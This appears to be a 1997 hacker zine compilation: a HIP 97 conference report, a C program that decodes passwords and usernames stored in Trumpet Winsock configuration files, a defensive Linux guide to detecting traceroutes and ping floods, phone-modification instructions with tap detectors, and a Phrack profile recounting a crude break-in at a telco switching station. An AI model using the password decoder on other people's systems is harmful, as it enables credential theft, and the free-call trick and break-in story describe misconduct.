During the day there were various activities. One tent held lock‑picking classes. In another a group of astronomers had set up telescopes linked to computerized data‑tracking equipment that you could print out. The cypherpunks had their own tent set up and I snuck in occasionally for a chat and a cold drink.

There was a videoconference link connected to HOPE but it crashed and was abandoned. In the main marquee, there were lectures on the usual faire of hacker interests: computer security, the legalities of hacking, anonymous re‑mailing, cryptography, etc. The weather was boiling and my melted brain found it exceedingly difficult to concentrate. Most of my time I spent outside in the shade or the tent housing the bar, talking to people individually or in small groups.

The public telephones mysteriously malfunctioned on Sunday and could only be used to dial the emergency services. However if you dialed the Dutch equivalent to 911 you got a dial tone, so you could dial anywhere in the world for free. Supposedly this was a 'programming error' on the part of the Dutch Telephone Company.

Smaller more interactive workshops were also held. Though the technical lectures were really interesting, my favourite event was Padeluun's yo‑yo workshop. Besides the fact that I got to keep the yo‑yo, the workshop itself was farcical performance art. If you know the background you will understand what I mean, if not... Padeluun is a member of the FOEBUD group from Germany. These people do some really brilliant projects and are very politically motivated. One of their projects was to put up networks during the war in the former Yugoslavia. They also work to distribute PGP to groups in countries with oppressive governments. It is not just anyone who could pull off a workshop like this. This was high irony. When I walked up the workshop had already started and I came in on the line 'yo‑yoing is good for social engineering, no one finds you a threat when you yo‑yo'. As the head of the Dutch Computer Crimes division was in attendance I thought this rather hilarious.

The attitude at HIP was really positive. The European definition of hacking has always been broader than the American definition. Europeans accept the idea of 'social hacking'. Not hacking in the Unix sense but in the sense of subverting technology, whether it be by pirate radio, hacking smartcards, social engineering the feds... or whatever. Unlike some cons I've been to in the past couple of years, the atmosphere of HIP was really mature. There weren't any young kids trashing anything, there weren't any stairwells to flood, no one set off any fire alarms or randomly destroyed anything through boredom, and generally the people who attended had a lot of respect for the event and the organisers. Which means that no one I saw acted like a total wanker and no one is going to run the event out of town.

On a personal note it was brilliant meeting people there and hearing of some of the most recent projects people had on the go. Since the last time this event was held (HEU, 'Hacking at the End of the Universe' held at the same spot in 1993), the hacker scene has changed.

One difference that struck me straight away was the fact that there were just as many females as males. And these women weren't girlfriends or hacker ho's but women that are getting to grips with the technology and using it for various projects.

Felipe Rodrigez who started Hack‑tic along with Rop Gonggrip back in the early days of Holland's hacking scene, has always been active on the political front "For us, things have changed. They used to call us criminals and think of us as terrorists. Now we advise the Ministry of Justice. We're the only ones who know the technology here."

Rodrigez also believes that hacking is still a very useful tool in countries like Peru or Serbia where the state is unfair and citizens need to "defend themselves." This view has made him unpopular with the secret services who consider the former Hack‑tic more dangerous now that they have power in the business community in Holland.

Though things may have changed since the early days of hacking, the European scene seems to have become something more grown up. "The hacker scene is now pockets of culture. There's alternative media, the old hacker culture, the Unix hackers, irc, even astronomers who are into their own computer culture. It's now for all of the people, which is why we call it Hacking in Progress, we have progressed"

As a summation, HIP was fantastic. It was brilliant to see most of the people I have known in the European scene in one place and to meet some new people who I will definitely keep in touch with the coming years. I'm really looking forward to the next one! If you want photos and other articles check out the HIP site at www.hip97.nl.

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To: All it may concern

It has come to my attention, that people are forgetting what hacking is. I'm not speaking about the freedom of information, or the pursuit of learning.. I'm talking about the fact that it is illegal and against the law.. I hear left and right.. " So and So has been busted.. lets protest.. Let's get the Hacker Defense Fund(TM) to help us! "

Hey time to wake up.. YOU ARE A CRIMINAL IF YOU ARE COMPROMISING THE SECURITY OF SITES/PHONE SYSTEMS/ETC..

Not a rant, just a note that it's time to face up to your responsibilities..

‑ Someone

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

TRUMPET WINSOCK PASSWORD HACKER by DOCTOR JEEP 11/96

erode@avana.bbs.comune.roma.it

written for Turbo C 2.0 (C) (old but cheap :) )

The author doesn't take any responsabilities for any proper/improper use of this program.

*/

<++> winsock_passwd_hack.c

#include <stdio.h>

unsigned char spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78}; unsigned char name[34], fono[33], passc[33],riga[33],passd[23]; unsigned char user[11]="$username=", tele[9]="$number=", pass[11]="$password=";

FILE *f1;

int i,v,c,k;

decodi (int ver) {

int ls,b;

if (ver==20) ls=10;

if (ver==21) ls=11;

b=strlen(passc);

for (i=ls;i<b;i++) {

v = passc[i];

v = v + 32 ‑ spazio[i‑ls];

if (v < 32) v = v + 96;

if (i‑10<21) passd[i‑ls] = v;

}

}

scrivi(int n, int st, unsigned char str[], char messaggi[])

{

c=strlen(str);

printf("%s",msg);

for(k=n;k<c‑st;k++) {

printf("%c",str[k]);

}

printf("\n");

}

main (argc,argv)

int argc;

char *argv[];

{

printf("\n\nTrumpet Password Hacker by Doctor Jeep 96 NO (C)\n\n"); if(argc!=2) {

printf ("Specify the trumpet .ini file with his path \n"); exit(1);

}

f1=fopen(argv[1],"r");

if (f1==NULL) {

printf("\nUnable to open configuration file"); exit(1);

}

printf("\n");

while(!feof(f1))

{

fgets(riga,32,f1);

if (strspn(riga,pass)==10) strcpy(passc,riga);

if (strspn(riga,user)==10) strcpy(name,riga);

if (strspn(riga,tele)==8) strcpy(fono,riga);

}

fclose(f1);

scrivi (8,1,fono,"Server's Tel. #: ");

scrivi (10,1,name,"Username: ");

decodi (20);

scrivi (0,1,passd,"Trumpet 2.0 password: ");

decodi (21);

scrivi(0,3,passd,"Trumpet 2.1F password: ");

}

<‑‑>

/* END OF FILE by Doctor Jeep */

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tools for (paranoid ?) linux users

by whynot AKA baldor

‑> you need basic TCP/IP knowledge to understand this article <‑

Recently not only then number of attacks on big / commercial servers and machines with fast connections has increased, but even users with dial‑in computers have been attacked or spied on. A good example is the winnuke.c program that has been released on BugTraq and has been used excessively. Although these attacks are not as "threatening" as the attacks that are launched against big servers it can get really annoying if some idiot frequently tries to hack you / takes your machine down / delays you.

Most Linux distributions have reacted to this development and made their telnet/ftp/whatever servers log every access. In this way you can easily put annoying hosts into /etc/hosts.deny. But in my opinion there are (at least) two things missing which I want to discuss in detail...

1. Detecting traceroutes

Traceroute is a really powerful command, which is often used to detect where the computer that is being tracerouted is located and to which network it is connected. Because of some simple reasons you can *not* simply make it impossible for people to traceroute you, so the best you can do is detect *if* someone traceroutes you, find out *who* tracerouted you and confuse him a bit.

1.1 How does traceroute work ?

Basically traceroute just sends out IP/UDP probe‑packets to the specified host. To find out how the packet is routed (through which hosts it is going) traceroute uses the TTL (time to live) field of the IP header. This TTL field specifies an upper limit of how many routers this packet can pass through before it gets dropped. Every router decreases the value of the field when the packet in question arrives, until it becomes 0. If this happens the router sends back an ICMP TIME_EXCEED to the sender of this packet (which is the host that is tracerouting).

So the strategy traceroute uses to trace the path of a packet is to send out packets to the target host putting an increasing value (starting with 1) into the TTL field. If a host reports ICMP TIME_EXCEED traceroute prints out its address and the time that passed from the sending of the IP/UDP probe packet until the receiving of the ICMP TIME_EXCEED. After that it will prepare a new probe packet with an IP TTL one greater then the previous packet.

Traceroute will continue doing this until it receives an ICMP PORT_UNREACHABLE packet from the target address, or the max hop count has been reached (defaults to 30).

To understand this we should take a look at the UDP part of the packet we talked about above. To detect somehow that it finally reached the target host and should not try to go any further traceroute uses the connectionless UDP protocol. The UDP part of the probe‑packet is addressed to a port which is barley/never used (in nearly all Unix implementations 33434+ the TTL included in the IP‑Packet). Since (normally) nothing is listening on port 33434 (and above) the target host sends back an ICMP PORT_UNREACHABLE signal that tells traceroute that it reached the target host and can stop sending any more packets.

Since the strategy of traceroute is a bit complex here is an (a bit simplified) example. Let's say that you are host "source" and tracerouting your way to host "target".

source:/root # traceroute target

traceroute to target (134.2.110.94), 30 hops max, 40 byte packets

Now source sends out a probe packet to target (port 33434) with a TTL of 1. The packet is passing "some_host" and the router decreases the TTL of the packet. It recognizes that the packet has "expired" (TTL=0) and sends back an ICMP TIME_EXCEED to source. Now traceroute uses the information included in this packet to print out data about the first host the packets to target are passing:

1 some_host (142.45.23.1) 2.456 ms

Another probe packet is sent out by source, this time the TTL is 2 and the port is 33434+1 = 33435. It gets back another ICMP TIME_EXCEED packet this time from another_host:

2 another_host (142.45.10.1) 3.983 ms

The third Probe has the TTL set to 3 and is addressed to port 33436. Traceroute now gets back an ICMP PORT_UNREACHABLE from "target":

3 target (142.45.10.13) 4.032 ms

That's it ! Traceroute now finished its job and quits.

source:/root #

Please note that traceroute by default sends out three packets containing the same TTL (each packet to an increasing port number) to determine the answering time of a host more accurately. In reality, a traceroute output therefore looks like this:

traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets 1 localhost (127.0.0.1) 1.983 ms 1.304 ms 0.934 ms

1.2 The strategy behind the traceroute‑detector

Knowing how traceroute works it is very easy to detect. Simply set up sockets listen()ing to the ports 33434 and above and react if they receive any packets. You can even try to guess how many hops the host that is tracerouting you is away by subtracting 33434 from the port‑number you received the packet on and dividing the result by three.

Listening to the port traceroute sends the probe‑packet to also produces a funny effect: traceroute will neither get back an ICMP TIME_EXCEED nor an ICMP PORT_UNREACHABLE signal. Therefore it will timeout waiting for the reply and put a * into your hosts entry. Because of the timeout traceroute will *not* recognize that it already reached its target and continue sending probe‑packets until the maximum number of hops is reached.

With the little program detecttr running (and listening to ports 33434 33434*30*3) a traceroute localhost looks like this:

schnecke:/root # traceroute localhost

traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets 1 * * *

2 * * *

.

.

.

30 * * *

1.3 Problems detecting traceroutes

The only problem with detecting traceroutes is that one might select another base‑port number than the default or use another technique. I have never seen any people doing this though. So if just an average idiot (or wannabe "hAx0r") is tracerouting you chances are really high that you detect it.

If you are *really* paranoid about traceroutes you should not use the ports to detect a trace but edit the file that deals with UDP packets. This /usr/src/linux/net/ipv4/udp.c

(NOTE: this file is a part of the kernel. Recompile your kernel to make changes take effect)

Insert the line:

printk(KERN_INFO "UDP: packet sent to unreachable port by %s !\n",

in_ntoa(daddr));

before line 833:

ICMP_send(ski,ICMP_BEST_UNTEACH, ICMP_PORT_UNTEACH, 0, de);

This will make the system log *all* requests to unreachable ports that are delivered through the UDP protocol. Please note that the funny effect described in 1.2 will not occur (which can also be an advantage).

BTW: Please be careful while editing the kernel ‑ you need it :)

1.4 Sample Implementation

detecttr.c ‑> see the end of this file

2. Detecting pings

There has been a lot of discussion about ping in the last few months because it was often used to transmit oversized packets to other hosts resulting in crashes. Although this bug has been fixed on most hosts already ping still is very popular to slow down people who are connected to the net through modem lines until they drop carrier themselves because of the BIG lag.

You can *not* prevent people from pinging you (without having your ISP blocking all ICMP_ECHO requests to your host) and therefore causing traffic on your modem line. But you can actually detect *who* pinged you, determine the ping‑packet size and decide not to reply (this *may* reduce the data over your modem line up to factor 2).

2.1 How does ping work and how do people slow down others by using ping ?

Simplified ping sends a packet containing an ICMP_ECHO and some data to the target which will reply with an ICMP_ECHOREPLY packet that contains the data sent to it (only some fields are modified).

Normally ping will wait about 1 sec before it sends the next ICMP_ECHO. On many implementations of ping you can bypass this and do a "floodping" which will *not* wait but just send the packets as fast as possible. If you choose a big packet size for the ping packet and you are pinging your victim from a host with a fast connection (T1 or Ethernet) this will cause a lot of traffic on your victims modem line and therefore slow him down to a halt.

2.2 How can I detect a ping and how do I prevent being flooded ?

Since a ping is nothing more than a ICMP_ECHO with some data appended to it you can simply intercept it, extract the senders address and the packet size from it and decide whether you want to reply or not. For non‑floodpings you can reduce the amount of data transferred over your modem line simply by choosing not to reply. But if someone is floodpinging you it does not help much to not reply to the ping packets ‑‑> the incoming ping packets will probably cause enough traffic to slow you down (unless the host where floodpings come from is has a slow connection). At least you can give it a try anyway...

2.3 Sample implementation

The handling of the ICMP_ECHO is done in the kernel. Edit your /usr/src/linux/net/ipv4/icmp.c file and search for the section "Handle ICMP_ECHO". These 16 lines of code are all you need to modify to defend yourself against / detect ping‑floods.

If you know a little C you can easily see that there exists a define "CONFIG_IP_IGNORE_ECHO_REQUESTS" which you can set to have the kernel just ignore all incoming ICMP ECHO_REQUESTs. But we want to be more selective. We want to log all pings that are sent to our machine. We do this by inserting the line

printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr),

icmp_param.data_len);

before the #endif.

You can easily change the "Handle ICMP_ECHO" section so that your machine only replies to ICMP ECHO_REQUESTs that do not carry too much data and ignore the pings with big packet sizes:

<++> DTR/icmp.patch

static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len) {

#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS

struct icmp_bxm icmp_param;

if (len <= 1000) { /* we only reply to pings that do carry less than 1k data */

icmp_param.icmph=*icmph; icmp_param.icmph.type=ICMP_ECHOREPLY; icmp_param.data_ptr=(icmph+1);

icmp_param.data_len=len;

if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0) icmp_build_xmit(&icmp_param, daddr, saddr, skb‑>ip_hdr‑>tos); printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n", in_ntoa(saddr),icmp_param.data_len); }

else

printk(KERN_INFO "ICMP: possible FLOOD DETECTED by %s, packetsize = %d \n", in_ntoa(saddr),len ); #endif

kfree_skb(skb, FREE_READ);

}

<‑‑>

<++> DTR/detecttr.c

/*

* detecttr.c ‑ by whynot AKA baldor (whynot@cyberjunkie.com)

* created: 08.05.97

* last modified: 11.07.97

* Platforms: Linux, FreeBSD should work with other POSIX‑systems too. *

* Compile:

* just the usual "gcc ‑o detecttr detecttr.c" for GNU C and

* "cc ‑o detecttr detecttr.c" for other compilers...

*

* Usage:

* Just run this program at the startup of your machine ‑ it will stay in * the background until someone traceroutes you. It only uses a *tiny* bit * of your memory and nearly 0% CPU :)

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <sys/time.h>

#include <sys/signal.h>

#include <sys/syslog.h> /* simply comment this out if you don't have syslog.h */

#include <netdb.h>

#define MAXBUFLEN 200

#define MYPORT 33435

#define NUMPORTS 30*3

int sockfd[NUMPORTS];

void shutitdown()

{

int w;

char buf[50];

for (w=0; w<NUMPORTS; w++)

close(sockfd);

sprintf (buf,"DetectTraceroute terminated\n"); syslog(LOG_NOTICE , buf);

exit(0);

}

char *getname (struct in_addr addr)

{

struct hostent *h;

int w;

char foo[4]; /* the 4 numbers as ASCII‑Values per char */

int tmpint[4]; /* used to convert from a string to 4 numbers */

char tmpbuf[20];

sprintf(tmpbuf, "%s", inet_ntoa(addr));

if ( sscanf(tmpbuf,"%d.%d.%d.%d", &tmpint[0], &tmpint[1], &tmpint[2], &tmpint[3]) != 4) { printf ("Error while detecting hostname !\n");

exit(1);

}

for(w=0; w<4; w++) foo[w]=tmpint[w];

if ( (h=gethostbyaddr(foo, 4, AF_INET)) == NULL) { herror("gethostbyaddr");

exit(1);

}

return h‑>h_name;

}

main(int argc, char *argv[])

{

int hops;

struct sockaddr_in my_addr;

struct sockaddr_in remote_addr;

int addr_len, numbytes;

char buf[MAXBUFLEN];

int w;

fd_set readfds;

if( fork() !=0 ) return(0); /* we don't want to use that annonying & */

signal(SIGHUP, SIG_IGN); /* ignore SIGHUP */

signal(SIGTERM, shutitdown); /* clean shutdown */

for(w=0; w<NUMPORTS; w++) {

if ( (sockfd[w] = socket( AF_INET, SOCK_DGRAM, 0)) == ‑1) { perror("socket");

exit(1);

}

my_addr.sin_family = AF_INET;

my_addr.sin_port = htons (MYPORT+w);

my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

bzero(& (my_addr.sin_zero), 8);

if ( bind (sockfd[w], (struct sockaddr *)&my_addr, sizeof (struct sockaddr) ) == ‑1) { perror("bind");

exit(1);

}

}

FD_ZERO(&readfds);

for(w=0; w<NUMPORTS; w++)

FD_SET(sockfd[w], &readfds);

sprintf (buf,"DetectTraceroute successfully started\n"); syslog(LOG_NOTICE , buf);

while(1) {

select(sockfd[NUMPORTS‑1]+1, &readfds, NULL, NULL, NULL);

for (w=0; w < NUMPORTS; w++) {

if (FD_ISSET(sockfd[w], &readfds))

hops = w;

}

addr_len = sizeof(struct sockaddr);

if ((numbytes=recvfrom(sockfd[hops], buf, MAXBUFLEN, 0, (struct sockaddr *)&remote_addr, &addr_len)) == ‑1) { perror("recvfrom");

exit(1);

}

/* we use buf for misc stuff O:‑) */

sprintf (buf,"TRACEROUTE from IP %s. Hostname: %s HOPS: %d", inet_ntoa(remote_addr.sin_addr), getname(remote_addr.sin_addr), hops / 3 +1); syslog(LOG_NOTICE , buf);

FD_ZERO(&readfds);

for(w=0; w<NUMPORTS; w++)

FD_SET(sockfd[w], &readfds);

}

}

<‑‑>

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |||| |||||[~~~~~~~~~~~~~~~~~~~~

| | | ||| |||[ The Street Phreak's Phone Mods vol. 1 ]

| | ||||||||||[ Jex {612} ]

| | |||| || |[ <jex@teenworld.poboxes.com> ]

| || | ||||||[____________________

[intr0]

97.07.01

This project is a result of a need to have a more versatile phone for at home and in the field. Many "phone modification" files have been floating around the scene for quite some time ‑ some are incomplete, inaccurate, or would be better taken advantage of if they were all integrated. This project should be a good starting point for making your phone elite.

The following modifications are divided into two primary parts: The first being made to your phone directly, and the second being as a separate component.

[part 1: m0d me]

Teq:

‑‑‑‑

2 1/8" mono jack (or stereo with tips tied) 274‑274 2/$1.89 U1, U2 2 SPDT slide switch 275‑409 2/$1.19 SW1, SW3 1 100k single turn pot 271‑092 $1.29 R2

1 Mini red LED 276‑026 2/$0.99 D1

1 Hallmark Digital Greeting Card (optional) (Hallmark) 1/$8‑10 IC1 1 6v power source (optional)

1 SPST normally closed momentary (optional) 275‑1548 4/$2.89 SW2 1 10k (optional) 271‑1335 5/$0.49 R1

Since I'm cool, I'll give you a rough walk‑through on the construction along with the schematic. The phone modifications were kept to a minimum, since you most likely want the majority of your cute toys in the modular component. I would like to make these devices modular as well at some point in the future ‑ if anybody would like to beat me to it, by all means.

‑‑[ring switch]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Desolder wire off one pad of the piezo element (ringer)

2. Connect desoldered *pad* to right pole of SPDT

3. Connect desoldered *wire* to center pole of SPDT

4. Connect LED to left pole of SPDT

5. Connect other side of LED to the pad of piezo element with the origional wire

(Note: You should now be able to select between an audible ring and the flashing light. If the LED does not light but the ringer works, switch the wires going to the LED as the anode/cathode are not in the right positions.)

‑‑[in jack]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6. Desolder wire (‑v, probably black) off one pad of the microphone 7. Connect desoldered *wire* to center pole of SPDT

8. Connect recently desoldered *pad* to right pole of SPDT

9. Connect tip (or base) of U1 to left pole of SPDT

10. Connect base (or tip) of U1 to the center pole of R2

11. Connect side pole of R2 to the pad of the mic with the original wire

(Note: You should now have the ability to switch between the audio jack and the mic. This is necessary as the audio jack always drowns‑out the mic, even when it is doing something such as playing "UN‑noise" while a tape rewinds. This also serves as a mute switch.)

‑‑[out jack]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

12. Connect U2 in parallel with the speaker.

(Note: Out jack.)

‑‑[optional digital recorder]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

13. Desolder mic from Hallmark card (IC1), it will not be used

14. Connect desoldered mic wires to the base and tip of U2 in parallel (isolated)

15. Desolder speaker from IC1, it will not be used

16. Desolder one speaker wire, it will not be used

17. Connect the other speaker wire to R1

18. Connect other side of R1 to the mic pad that has the original (v+) wire and R2 connect to it

19. Desolder "play switch" paying attention to how it is connected, it sucks 20. Connect SW2 in it's place

21. Connect v‑ (black wire) of 6v power source to SW2

22. Connect v+ to IC1

(Note: You should now be able to record from the mic and jack, and be able to play it back into the phone.)

[part 2: c0nstructi0n 0f p0w‑paq]

Teq:

‑‑‑‑

8 DPDT slide switch 275‑403 2/$1.39 SW1, SW2,

SW3, SW6,

SW7, SW8,

SW9, SW12

2 SPST slide switch 275‑401 2/$1.19 SW4, SW10 2 DPST slide switch (substitute with 2 DPDT) 275‑403 2/$1.39 SW5, SW11 2 Dual polarity LED (phreakz discretion‑ 2 LED1, LED3 LEDs in parallel, or a

2 pin Dual LED package)

6 6P4C Modular Jack (try DigiKey, www.digikey.com)

Parasitic Tap Detectors:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2 15v Zener Diode 276‑564 2/$0.99 D2, D4

2 Mini Red LED 276‑026 2/$0.99 LED2, LED4

2 Bridge Rectifier 276‑1161a 1/$0.99 D1, D3

(Note: I substituted the 1N914/4148 Silicon Diode for the Zener and it seems to work fine, 276‑1122, 10/$1.19)

As you may of noticed, the Parasitic Tap Detectors are taken straight from the article Tap Alert in 2600 vol 13 iss 1, credit is given to No Comment and Crash Test Idiot.

Now, what all this is. You have two primary inputs, and one master input in case you have a single connector with two lines on it. There are two "outputs", whose function is up to you (these are optional). Now you are left with one master output, whose function should be obvious.

SW1 & SW7 change between the "outer" and "inner" wires, in other words Red/Green vs. Black/Yellow. SW2 & SW8 reverse polarity of the line (one is optional). SW3 & SW9 serve as polarity detectors, lighting one color for a certain polarity and another color for the other polarity (one is optional). SW4 & SW10 make use of the tap detectors. Most of the time you will not be using the tap detectors as they can have problems with the other devices on the line, experiment. SW5 & SW11 are primary line power switches, make the line go off or on. SW6 & SW12 are hold switches for each line, when they are both "off hold" you may conference the two lines.

The polarity changers are a must ‑ often times store‑bought telephone cables reverse voltage, and even your wall jack might have non‑uniform polarities. To use both lines at once, the polarity for each line must be the same, this can be achieved by throwing just one switch if they are reversed (it's an either/or state).

If you find any errors or corrections you would like to make, or you just need a shoulder to cry on, my email is listed above. Any upd8s can be found at http://www.geocities.com/SiliconValley/Heights/1334, thanks for playing.

[schematix]

The top of the diagram has the modifications to be made to the phone unit itself, the bottom to the modular device.

begin 644 phonesm1.gif

Phrack Prophile on Swamp Ratte

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 04 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 1 P R O P H I L E

‑‑‑‑‑‑‑‑[ Grandmaster Ratte'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Personal

Handle: Grandmaster "Swamp" Ratte' Call him: Kevin

Past handles: KP Neato Dee (local BBSes)

Handle origin: from playing around (and falling in) a swamp all the time as a kid

Date of Birth: April, 1970

Height: 6'

Weight: 155 lbs.

Eye color: blue

Hair Color: brown

Computers: Apple ][ (plus/e/c/gs), PC (8088 laptop/'286), Amiga (500/600), Macintosh (Plus/7200) Admin of: Demon Roach Underground BBS, The Polka AE from Sept. '85‑present

Sites Frequented: Not much really. Mindvox can be pretty cool and interesting. I used to regularly call boards like The Works, Digital Logic's Data Service, the various Metallands, Speed Demon Elite, P‑80, Kingdom of Shit, Ripco, The Metal AE, Dark Side of the Moon, The Missing Link, etc.

URLs: www.l0pht.com/cdc.html, and the new www.cultdeadcow.com Email: gratte@cultdeadcow.com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Favorite Things

Women: that aren't crazy, freshly‑scrubbed Cars: ones that run, muscle cars with lots of chrome Bikes: BMX 24" cruisers, Schwinn Stingrays with metal‑flake paint Foods: cheap. Sunkist Orange Slurpees. Music: 1970's funk and soul, rock, hip‑hop, hillbilly country, reggae, dance...

Bands: Run‑DMC, Beatles, KISS, Marvin Gaye, Suicidal Tendencies, Black Uhuru, Public Enemy, Stevie Wonder, Rolling Stones. Zapp, Parliament/Funkadelic, Grandmaster Flash & The Furious Five, Dead Kennedies, Black Sabbath, Carpenters, James Brown, Metallica, Sly & The Family Stone, Lynyrd Skynyrd, Jimi Hendrix, Slayer, Minor Threat Instruments: Fender guitars and basses, Kurzweil K2000 series synths Computers: Apple ][s and Macintoshes

Movies: Star Wars, The Manchurian Candidate, Krush Groove, Apocalypse Now

Comics: Peanuts, Calvin & Hobbes, Bloom County Sports: Ultimate Frisbee, bicycling, wandering around outside, climbing trees and rocks, boating with inflatable life rafts in drainage lakes, club dancing Books: _Foucault's Pendulum_ by Umberto Eco, The Bible, Farrah Fawcett's biography, and _Understanding Media_ by Marshall McLuhan

Magazines: Tons... 2600, Grand Royal, Wired, Macworld, Barely Legal, Thrasher, Big Brother, Ride BMX, Urb, Guitar Player, Keyboard, Cool Beans, Might, Stress, Slap, Crank, 4080, Cometbus, EQ, and whatever else I can get my grubby hands on. I really dig magazines. Uh, and Phrack! TV: The Six Million Dollar Man, The Simpsons, Charlie's Angels, X‑Files, A‑Team, Mod Squad

My Bands: Superior Products (bass), Weasel‑MX (vox, programming), Jinx Unit (bass, phat beatz) Quotes: "Fully equipped with an army of lawyers." ‑ad for Zoo York skateboards

People: Evel Knievel, Boba Fett, Mr. T, and the CULT OF THE DEAD COW Multimedia Superstarz!

Misc: thrift stores, huge shiny belt buckles, phresh new laces in my kicks, playing shows with my band(s), exploring buildings, big trees and rocks

Turn Ons: energy

Turn Offs: pretentiousness

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Passions

If you can't tell from the list up there, I'm really into music. It all started when the neighborhood teenagers would let me sit around with them and listen to the hard‑rockin' soundz of KISS and Led Zep when I was a little kid. So my mom (bless her heart) under their advisement, bought me Led Zeppelin _IV_ and KISS _Alive!_ which I took to kindergarden class and was reprimanded for. A few years later my grade school friends and I would spend hours sitting around a cassette player making "radio shows" with our Saturday Night Fever soundtrack and various 7" singles from K‑Mart. We were rollin' with the phattest mixtapes at age nine, fool! Somehow this led to MIDI and drum machines and CD burners and now I spend tons of time recording and sequencing and playing music. I do a lot of recording for the local punk and hip‑hop groups and it's hella fun. The back of the building I live in is a small empty warehouse where we have all‑ages music shows and that's pretty neat too. It's called MOTOR... If you're in a touring band, lemme know and send me a tape or whatever you've got.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Memorable experiences

Hmm. Well, this is probably my best story, so here we go: I found myself all alone at night inside a telco's switching station. Ooh, look... a terminal keyboard. In the dim glow of the red "EXIT" signs, that keyboard represented all my hopes for a glorious unification of the human spirit through the global telecommunications network. How could I best express my ...love... for this network and all that it represents? Write a poem? Done it already, hundreds of times. Every cDc file I've put out is a gesture of affection. So I did what any red‑blooded American male wouid do. I dropped my pants, "threw jacks" as it were, and doused that human‑machine interface unit with my Seekrut Sauce.

Then I cleaned myself and got the hell out of there... pulse pounding, freaked by my own insatiable lust. Is what I did "WRONG"? Don't judge me with your pithy concepts of morality! I stood before God with my pants around my ankles and expressed what was in my heart. If that's wrong, damn... I don't want to be right!

‑‑‑

Playing a party where a gang fight broke out, caps were busted during our set, and we had to drop our instruments to flee for our livez (and hide under cars).

‑‑‑

Falling in love. Getting dumped. Lather, rinse, repeat.

‑‑‑

Going to the various hacker cons is always a blast. Some people have a negative attitude about these things 'cause a lot of kids go and act retarded. Which is unfortunate, but I always manage to have a great time. These are the only times I get to visit with cDc people and it's like a big bonding session... we just run around and hang out. Meet lots of cool people in general, every time. So go to the cons and don't cause problems, and everything'll be fine.

‑‑‑

Starting cDc communications. In some ways this has been an important item in my life. Not that editing text files is a huge important thing, 'cause it's not. But cDc, at its best, has taught me that I can have a role in making something creative and interesting and lasting. Things like that can carry over into a lot of aspects in your life. In 1984 I was a junior high student and now I'm 27 years old. cDc has changed a lot of course, as it should, but I think with our longevity we've worked towards finding a new way to relate to technology and the emerging global structure. I was fourteen and part of the wave of hacker kids who had been growing up with Atari 2600s at home and the video arcade after school... we saw the movie Wargames and got excited. I was lucky and had an Apple ][ at home, and soon a modem my dad brought home from work. You figured out some Stupid Phone Tricks and bam, in no time you were typing away to other kids on BBSes across the country, sharing.... codez and warez, sure, but more importantly we shared experiences. This was NEW. I remember how exciting it was to call teenager‑run boards across the country in the early '80s and exchange messages with these people. Now kids can grow up from the get‑go with the Internet in their house and I think that's just great. So my friends and I were writing things and doing goofy drawings and whatnot, and could have put out a regular paper 'zine. But we figured out pretty early on that the one big advantage these text files we wrote had over some photocopied sheets we could staple together was distribution. If we'd done a paper 'zine, we could have maybe scraped up enough cash for 50 copies or so and forced some friends to take them and then they'd end up at the bottom of a closet or in the trash in a few weeks, forgotten. But instead, we used those Stupid Phone Tricks hundreds of times... staying up all night, with school looming ahead in a few hours. But hey, gotta call that AE in New Jersey and upload the latest text files. You can always sleep through class.

But what makes CULT OF THE DEAD COW different and has enabled us to last is that cDc has never been about technology... we didn't form to trade "inpho" and hack together like the other groups. We used technology, be it hand ‑ hacked MCI codes or the Internet to get our "messages" out there. Hacking is a means to an end. I don't give a rat's ass about hacking or any of that crap on its own. I just want to make cool stuff. Now we're starting a "paramedia" concept which means the end of cDc as a "hacker group that puts out text files." Now we're putting out our own original music and other audio files, to be distributed just like our text stuff has traditionally been. The bandwidth is finally here where we can do it... and when it's practical, we'll be putting out video stuff too. The idea is to be able to do whatever sort of creative work we want and to use our huge distribution network to disseminate it. That's what "cDc paramedia" and the future of our whole group is about.

